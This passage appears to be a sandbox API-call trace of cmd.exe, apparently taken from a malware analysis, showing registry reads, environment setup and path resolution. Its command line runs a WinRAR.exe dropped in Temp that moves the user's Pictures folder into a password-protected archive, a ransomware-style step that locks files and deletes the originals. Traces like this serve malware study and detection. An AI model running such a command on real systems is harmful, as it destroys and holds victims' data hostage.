lpcbData=0x3fe8e8*=0x4) returned 0x0 [0056.006] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3fe8ec, lpData=0x3fe8f0, lpcbData=0x3fe8e8*=0x1000 | out: lpType=0x3fe8ec*=0x4, lpData=0x3fe8f0*=0x40, lpcbData=0x3fe8e8*=0x4) returned 0x0 [0056.006] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3fe8ec, lpData=0x3fe8f0, lpcbData=0x3fe8e8*=0x1000 | out: lpType=0x3fe8ec*=0x4, lpData=0x3fe8f0*=0x40, lpcbData=0x3fe8e8*=0x4) returned 0x0 [0056.006] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3fe8ec, lpData=0x3fe8f0, lpcbData=0x3fe8e8*=0x1000 | out: lpType=0x3fe8ec*=0x0, lpData=0x3fe8f0*=0x40, lpcbData=0x3fe8e8*=0x1000) returned 0x2 [0056.006] RegCloseKey (hKey=0xcc) returned 0x0 [0056.006] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3fe8e4 | out: phkResult=0x3fe8e4*=0xcc) returned 0x0 [0056.006] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3fe8ec, lpData=0x3fe8f0, lpcbData=0x3fe8e8*=0x1000 | out: lpType=0x3fe8ec*=0x0, lpData=0x3fe8f0*=0x40, lpcbData=0x3fe8e8*=0x1000) returned 0x2 [0056.006] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3fe8ec, lpData=0x3fe8f0, lpcbData=0x3fe8e8*=0x1000 | out: lpType=0x3fe8ec*=0x4, lpData=0x3fe8f0*=0x1, lpcbData=0x3fe8e8*=0x4) returned 0x0 [0056.006] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3fe8ec, lpData=0x3fe8f0, lpcbData=0x3fe8e8*=0x1000 | out: lpType=0x3fe8ec*=0x0, lpData=0x3fe8f0*=0x1, lpcbData=0x3fe8e8*=0x1000) returned 0x2 [0056.006] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3fe8ec, lpData=0x3fe8f0, lpcbData=0x3fe8e8*=0x1000 | out: lpType=0x3fe8ec*=0x4, lpData=0x3fe8f0*=0x0, lpcbData=0x3fe8e8*=0x4) returned 0x0 [0056.006] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3fe8ec, lpData=0x3fe8f0, lpcbData=0x3fe8e8*=0x1000 | out: lpType=0x3fe8ec*=0x4, lpData=0x3fe8f0*=0x9, lpcbData=0x3fe8e8*=0x4) returned 0x0 [0056.006] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3fe8ec, lpData=0x3fe8f0, lpcbData=0x3fe8e8*=0x1000 | out: lpType=0x3fe8ec*=0x4, lpData=0x3fe8f0*=0x9, lpcbData=0x3fe8e8*=0x4) returned 0x0 [0056.006] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3fe8ec, lpData=0x3fe8f0, lpcbData=0x3fe8e8*=0x1000 | out: lpType=0x3fe8ec*=0x0, lpData=0x3fe8f0*=0x9, lpcbData=0x3fe8e8*=0x1000) returned 0x2 [0056.006] RegCloseKey (hKey=0xcc) returned 0x0 [0056.006] time (in: timer=0x0 | out: timer=0x0) returned 0x5ca12d7d [0056.006] srand (_Seed=0x5ca12d7d) [0056.006] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C cd C:\\Users\\FD1HVy\\Pictures && C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *" [0056.006] malloc (_Size=0x4000) returned 0x2a721f0 [0056.007] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C cd C:\\Users\\FD1HVy\\Pictures && C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *" [0056.007] malloc (_Size=0xffce) returned 0x2940048 [0056.007] ??_V@YAXPAX@Z () returned 0x3ff8c8 [0056.007] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2940048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0056.008] malloc (_Size=0xffce) returned 0x2950020 [0056.008] ??_V@YAXPAX@Z () returned 0x3ff69c [0056.008] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2950020, nSize=0x7fe7 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0056.008] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x90f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0056.008] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x90f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0056.008] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x90f840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0056.008] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0056.008] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0056.008] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0056.009] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0056.009] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0056.009] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0056.009] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0056.009] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0056.009] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0056.009] GetProcessHeap () returned 0x2b20000 [0056.009] RtlFreeHeap (HeapHandle=0x2b20000, Flags=0x0, BaseAddress=0x2b25768) returned 1 [0056.009] GetEnvironmentStringsW () returned 0x2b24c90* [0056.009] GetProcessHeap () returned 0x2b20000 [0056.009] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x8, Size=0xae2) returned 0x2b27808 [0056.009] FreeEnvironmentStringsA (penv="A") returned 1 [0056.009] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x90f840, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0056.009] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x90f840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0056.009] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0056.009] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0056.009] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0056.009] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0056.009] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0056.009] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0056.009] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0056.009] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0056.009] malloc (_Size=0xffce) returned 0x295fff8 [0056.010] ??_V@YAXPAX@Z () returned 0x3ff434 [0056.010] GetProcessHeap () returned 0x2b20000 [0056.010] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x8, Size=0x38) returned 0x2b20ae0 [0056.010] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x295fff8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0056.010] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x295fff8, lpFilePart=0x3ff480 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x3ff480*="Desktop") returned 0x17 [0056.010] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0056.011] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x3ff200 | out: lpFindFileData=0x3ff200) returned 0x2b20b20 [0056.011] FindClose (in: hFindFile=0x2b20b20 | out: hFindFile=0x2b20b20) returned 1 [0056.011] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x3ff200 | out: lpFindFileData=0x3ff200) returned 0x2b20b20 [0056.011] FindClose (in: hFindFile=0x2b20b20 | out: hFindFile=0x2b20b20) returned 1 [0056.011] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x3ff200 | out: lpFindFileData=0x3ff200) returned 0x2b20b20 [0056.011] FindClose (in: hFindFile=0x2b20b20 | out: hFindFile=0x2b20b20) returned 1 [0056.011] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0056.011] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0056.011] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0056.011] GetProcessHeap () returned 0x2b20000 [0056.011] RtlFreeHeap (HeapHandle=0x2b20000, Flags=0x0, BaseAddress=0x2b27808) returned 1 [0056.011] GetEnvironmentStringsW () returned 0x2b24c90* [0056.011] GetProcessHeap () returned 0x2b20000 [0056.011] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x8, Size=0xb1a) returned 0x2b26d18 [0056.011] FreeEnvironmentStringsA (penv="=") returned 1 [0056.011] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2940048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0056.011] GetProcessHeap () returned 0x2b20000 [0056.011] RtlFreeHeap (HeapHandle=0x2b20000, Flags=0x0, BaseAddress=0x2b20ae0) returned 1 [0056.011] ??_V@YAXPAX@Z () returned 0x1 [0056.011] ??_V@YAXPAX@Z () returned 0x1 [0056.011] GetProcessHeap () returned 0x2b20000 [0056.011] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x8, Size=0x400e) returned 0x2b28e20 [0056.012] GetProcessHeap () returned 0x2b20000 [0056.012] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x8, Size=0xe2) returned 0x2b27840 [0056.012] GetProcessHeap () returned 0x2b20000 [0056.012] RtlFreeHeap (HeapHandle=0x2b20000, Flags=0x0, BaseAddress=0x2b28e20) returned 1 [0056.012] GetConsoleOutputCP () returned 0x1b5 [0056.053] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x913850 | out: lpCPInfo=0x913850) returned 1 [0056.053] GetUserDefaultLCID () returned 0x409 [0056.053] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x90f82c, cchData=8 | out: lpLCData=":") returned 2 [0056.053] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x3ff7f0, cchData=128 | out: lpLCData="0") returned 2 [0056.053] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x3ff7f0, cchData=128 | out: lpLCData="0") returned 2 [0056.054] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x3ff7f0, cchData=128 | out: lpLCData="1") returned 2 [0056.054] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x90f81c, cchData=8 | out: lpLCData="/") returned 2 [0056.054] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x90f7b8, cchData=32 | out: lpLCData="Mon") returned 4 [0056.054] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x90f778, cchData=32 | out: lpLCData="Tue") returned 4 [0056.054] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x90f738, cchData=32 | out: lpLCData="Wed") returned 4 [0056.054] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x90f6f8, cchData=32 | out: lpLCData="Thu") returned 4 [0056.054] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x90f6b8, cchData=32 | out: lpLCData="Fri") returned 4 [0056.054] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x90f678, cchData=32 | out: lpLCData="Sat") returned 4 [0056.054] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x90f638, cchData=32 | out: lpLCData="Sun") returned 4 [0056.054] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x90f80c, cchData=8 | out: lpLCData=".") returned 2 [0056.054] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x90f7f8, cchData=8 | out: lpLCData=",") returned 2 [0056.054] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0056.055] GetProcessHeap () returned 0x2b20000 [0056.055] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x0, Size=0x20c) returned 0x2b27978 [0056.055] GetConsoleTitleW (in: lpConsoleTitle=0x2b27978, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0056.116] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0056.116] GetProcAddress (hModule=0x75e90000, lpProcName="CopyFileExW") returned 0x75ea4330 [0056.116] GetProcAddress (hModule=0x75e90000, lpProcName="IsDebuggerPresent") returned 0x75ea5930 [0056.116] GetProcAddress (hModule=0x75e90000, lpProcName="SetConsoleInputExeNameW") returned 0x74fe09d0 [0056.116] ??_V@YAXPAX@Z () returned 0x1 [0056.117] GetProcessHeap () returned 0x2b20000 [0056.117] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x8, Size=0x400a) returned 0x2b28e20 [0056.117] GetProcessHeap () returned 0x2b20000 [0056.117] RtlFreeHeap (HeapHandle=0x2b20000, Flags=0x0, BaseAddress=0x2b28e20) returned 1 [0056.117] _wcsicmp (_String1="cd", _String2=")") returned 58 [0056.117] _wcsicmp (_String1="FOR", _String2="cd") returned 3 [0056.117] _wcsicmp (_String1="FOR/?", _String2="cd") returned 3 [0056.117] _wcsicmp (_String1="IF", _String2="cd") returned 6 [0056.117] _wcsicmp (_String1="IF/?", _String2="cd") returned 6 [0056.117] _wcsicmp (_String1="REM", _String2="cd") returned 15 [0056.117] _wcsicmp (_String1="REM/?", _String2="cd") returned 15 [0056.117] GetProcessHeap () returned 0x2b20000 [0056.117] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x8, Size=0x58) returned 0x2b27b90 [0056.117] GetProcessHeap () returned 0x2b20000 [0056.117] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x8, Size=0xe) returned 0x2b27bf0 [0056.117] GetProcessHeap () returned 0x2b20000 [0056.117] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x8, Size=0x3e) returned 0x2b27c08 [0056.118] GetProcessHeap () returned 0x2b20000 [0056.118] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x8, Size=0x58) returned 0x2b27c50 [0056.121] _wcsicmp (_String1="FOR", _String2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 3 [0056.121] _wcsicmp (_String1="FOR/?", _String2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 3 [0056.121] _wcsicmp (_String1="IF", _String2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 6 [0056.121] _wcsicmp (_String1="IF/?", _String2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 6 [0056.121] _wcsicmp (_String1="REM", _String2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 15 [0056.121] _wcsicmp (_String1="REM/?", _String2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 15 [0056.121] GetProcessHeap () returned 0x2b20000 [0056.121] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x8, Size=0x58) returned 0x2b27cb0 [0056.121] GetProcessHeap () returned 0x2b20000 [0056.121] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x8, Size=0x66) returned 0x2b27d10 [0056.121] GetProcessHeap () returned 0x2b20000 [0056.121] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x8, Size=0x44) returned 0x2b27d80 [0056.122] GetConsoleTitleW (in: lpConsoleTitle=0x3ff688, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0056.176] malloc (_Size=0xffce) returned 0x2952688 [0056.176] ??_V@YAXPAX@Z () returned 0x3ff414 [0056.176] malloc (_Size=0xffce) returned 0x2962660 [0056.177] ??_V@YAXPAX@Z () returned 0x3ff1cc [0056.177] _wcsicmp (_String1="cd", _String2="DIR") returned -1 [0056.177] _wcsicmp (_String1="cd", _String2="ERASE") returned -2 [0056.177] _wcsicmp (_String1="cd", _String2="DEL") returned -1 [0056.177] _wcsicmp (_String1="cd", _String2="TYPE") returned -17 [0056.177] _wcsicmp (_String1="cd", _String2="COPY") returned -11 [0056.177] _wcsicmp (_String1="cd", _String2="CD") returned 0 [0056.177] ??_V@YAXPAX@Z () returned 0x1 [0056.177] GetProcessHeap () returned 0x2b20000 [0056.177] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x8, Size=0x74) returned 0x2b27dd0 [0056.179] GetProcessHeap () returned 0x2b20000 [0056.179] RtlReAllocateHeap (Heap=0x2b20000, Flags=0x0, Ptr=0x2b27dd0, Size=0x3c) returned 0x2b27dd0 [0056.179] GetProcessHeap () returned 0x2b20000 [0056.179] RtlSizeHeap (HeapHandle=0x2b20000, Flags=0x0, MemoryPointer=0x2b27dd0) returned 0x3c [0056.179] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0056.179] malloc (_Size=0xffce) returned 0x2962660 [0056.179] ??_V@YAXPAX@Z () returned 0x3ff1cc [0056.179] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0056.179] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x2962660, nVolumeNameSize=0x7fe7, lpVolumeSerialNumber=0x3ff210, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x3ff210*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0056.181] ??_V@YAXPAX@Z () returned 0x1 [0056.181] GetProcessHeap () returned 0x2b20000 [0056.181] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x8, Size=0x44) returned 0x2b27e18 [0056.181] malloc (_Size=0xffce) returned 0x2962660 [0056.181] ??_V@YAXPAX@Z () returned 0x3ff1c4 [0056.181] GetProcessHeap () returned 0x2b20000 [0056.182] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x8, Size=0x74) returned 0x2b27e68 [0056.183] GetProcessHeap () returned 0x2b20000 [0056.183] RtlReAllocateHeap (Heap=0x2b20000, Flags=0x0, Ptr=0x2b27e68, Size=0x3e) returned 0x2b27e68 [0056.183] GetProcessHeap () returned 0x2b20000 [0056.183] RtlSizeHeap (HeapHandle=0x2b20000, Flags=0x0, MemoryPointer=0x2b27e68) returned 0x3e [0056.183] _wcsnicmp (_String1="C:", _String2="/D", _MaxCount=0x2) returned 52 [0056.183] malloc (_Size=0xffce) returned 0x2972638 [0056.184] ??_V@YAXPAX@Z () returned 0x3fef4c [0056.184] GetProcessHeap () returned 0x2b20000 [0056.184] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x8, Size=0x3a) returned 0x2b27eb0 [0056.184] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2972638 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0056.184] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures", nBufferLength=0x7fe7, lpBuffer=0x2972638, lpFilePart=0x3fef98 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures", lpFilePart=0x3fef98*="Pictures") returned 0x18 [0056.184] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures" (normalized: "c:\\users\\fd1hvy\\pictures")) returned 0x11 [0056.185] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x3fed18 | out: lpFindFileData=0x3fed18) returned 0x2b27ef8 [0056.185] FindClose (in: hFindFile=0x2b27ef8 | out: hFindFile=0x2b27ef8) returned 1 [0056.185] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x3fed18 | out: lpFindFileData=0x3fed18) returned 0x2b27ef8 [0056.185] FindClose (in: hFindFile=0x2b27ef8 | out: hFindFile=0x2b27ef8) returned 1 [0056.185] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures", lpFindFileData=0x3fed18 | out: lpFindFileData=0x3fed18) returned 0x2b27ef8 [0056.185] FindClose (in: hFindFile=0x2b27ef8 | out: hFindFile=0x2b27ef8) returned 1 [0056.185] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures" (normalized: "c:\\users\\fd1hvy\\pictures")) returned 0x11 [0056.185] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Pictures" (normalized: "c:\\users\\fd1hvy\\pictures")) returned 1 [0056.185] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Pictures") returned 1 [0056.186] GetProcessHeap () returned 0x2b20000 [0056.186] RtlFreeHeap (HeapHandle=0x2b20000, Flags=0x0, BaseAddress=0x2b26d18) returned 1 [0056.186] GetEnvironmentStringsW () returned 0x2b26d18* [0056.186] GetProcessHeap () returned 0x2b20000 [0056.186] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x8, Size=0xb1c) returned 0x2b27ef8 [0056.186] FreeEnvironmentStringsA (penv="=") returned 1 [0056.186] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2940048 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures") returned 0x18 [0056.186] GetProcessHeap () returned 0x2b20000 [0056.186] RtlFreeHeap (HeapHandle=0x2b20000, Flags=0x0, BaseAddress=0x2b27eb0) returned 1 [0056.186] ??_V@YAXPAX@Z () returned 0x1 [0056.187] ??_V@YAXPAX@Z () returned 0x1 [0056.187] ??_V@YAXPAX@Z () returned 0x1 [0056.187] GetConsoleTitleW (in: lpConsoleTitle=0x3ff688, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0056.260] malloc (_Size=0xffce) returned 0x2952688 [0056.260] ??_V@YAXPAX@Z () returned 0x3ff414 [0056.260] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0056.260] malloc (_Size=0xffce) returned 0x2962660 [0056.260] ??_V@YAXPAX@Z () returned 0x3ff1cc [0056.260] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0056.260] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x2962660, nVolumeNameSize=0x7fe7, lpVolumeSerialNumber=0x3ff210, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x3ff210*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0056.262] ??_V@YAXPAX@Z () returned 0x1 [0056.262] GetProcessHeap () returned 0x2b20000 [0056.262] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x8, Size=0xffd6) returned 0x2b28a20 [0056.263] GetProcessHeap () returned 0x2b20000 [0056.263] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x8, Size=0xa2) returned 0x2b229a0 [0056.263] _wcsnicmp (_String1="C:\\U", _String2="cmd ", _MaxCount=0x4) returned -51 [0056.263] malloc (_Size=0xffce) returned 0x2962660 [0056.264] ??_V@YAXPAX@Z () returned 0x3fef4c [0056.264] GetProcessHeap () returned 0x2b20000 [0056.264] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x8, Size=0x1ffa4) returned 0x2b38a00 [0056.266] SetErrorMode (uMode=0x0) returned 0x0 [0056.266] SetErrorMode (uMode=0x1) returned 0x0 [0056.266] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\.", nBufferLength=0xffce, lpBuffer=0x2b38a08, lpFilePart=0x3fef6c | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp", lpFilePart=0x3fef6c*="Temp") returned 0x22 [0056.266] SetErrorMode (uMode=0x0) returned 0x1 [0056.266] GetProcessHeap () returned 0x2b20000 [0056.266] RtlReAllocateHeap (Heap=0x2b20000, Flags=0x0, Ptr=0x2b38a00, Size=0x64) returned 0x2b38a00 [0056.266] GetProcessHeap () returned 0x2b20000 [0056.266] RtlSizeHeap (HeapHandle=0x2b20000, Flags=0x0, MemoryPointer=0x2b38a00) returned 0x64 [0056.266] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\.") returned 1 [0056.266] GetProcessHeap () returned 0x2b20000 [0056.266] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x8, Size=0x54) returned 0x2b22a50 [0056.266] GetProcessHeap () returned 0x2b20000 [0056.266] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x8, Size=0x9c) returned 0x2b22ab0 [0056.267] GetProcessHeap () returned 0x2b20000 [0056.267] RtlReAllocateHeap (Heap=0x2b20000, Flags=0x0, Ptr=0x2b22ab0, Size=0x54) returned 0x2b22ab0 [0056.267] GetProcessHeap () returned 0x2b20000 [0056.267] RtlSizeHeap (HeapHandle=0x2b20000, Flags=0x0, MemoryPointer=0x2b22ab0) returned 0x54 [0056.267] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x90f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0056.267] GetProcessHeap () returned 0x2b20000 [0056.267] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x8, Size=0xe0) returned 0x2b20d08 [0056.269] GetProcessHeap () returned 0x2b20000 [0056.269] RtlReAllocateHeap (Heap=0x2b20000, Flags=0x0, Ptr=0x2b20d08, Size=0x76) returned 0x2b20d08 [0056.269] GetProcessHeap () returned 0x2b20000 [0056.269] RtlSizeHeap (HeapHandle=0x2b20000, Flags=0x0, MemoryPointer=0x2b20d08) returned 0x76 [0056.269] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0056.269] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.exe", fInfoLevelId=0x1, lpFindFileData=0x3fed18, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3fed18) returned 0x2b27eb0 [0056.269] GetProcessHeap () returned 0x2b20000 [0056.269] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x0, Size=0x14) returned 0x2b22b10 [0056.269] FindClose (in: hFindFile=0x2b27eb0 | out: hFindFile=0x2b27eb0) returned 1 [0056.270] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0056.270] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0056.270] ??_V@YAXPAX@Z () returned 0x1 [0056.270] GetConsoleTitleW (in: lpConsoleTitle=0x3ff1fc, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0056.596] InitializeProcThreadAttributeList (in: lpAttributeList=0x3ff128, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x3ff114 | out: lpAttributeList=0x3ff128, lpSize=0x3ff114) returned 1 [0056.596] UpdateProcThreadAttribute (in: lpAttributeList=0x3ff128, dwFlags=0x0, Attribute=0x60001, lpValue=0x3ff110, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x3ff128, lpPreviousValue=0x0) returned 1 [0056.596] GetStartupInfoW (in: lpStartupInfo=0x3ff160 | out: lpStartupInfo=0x3ff160*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 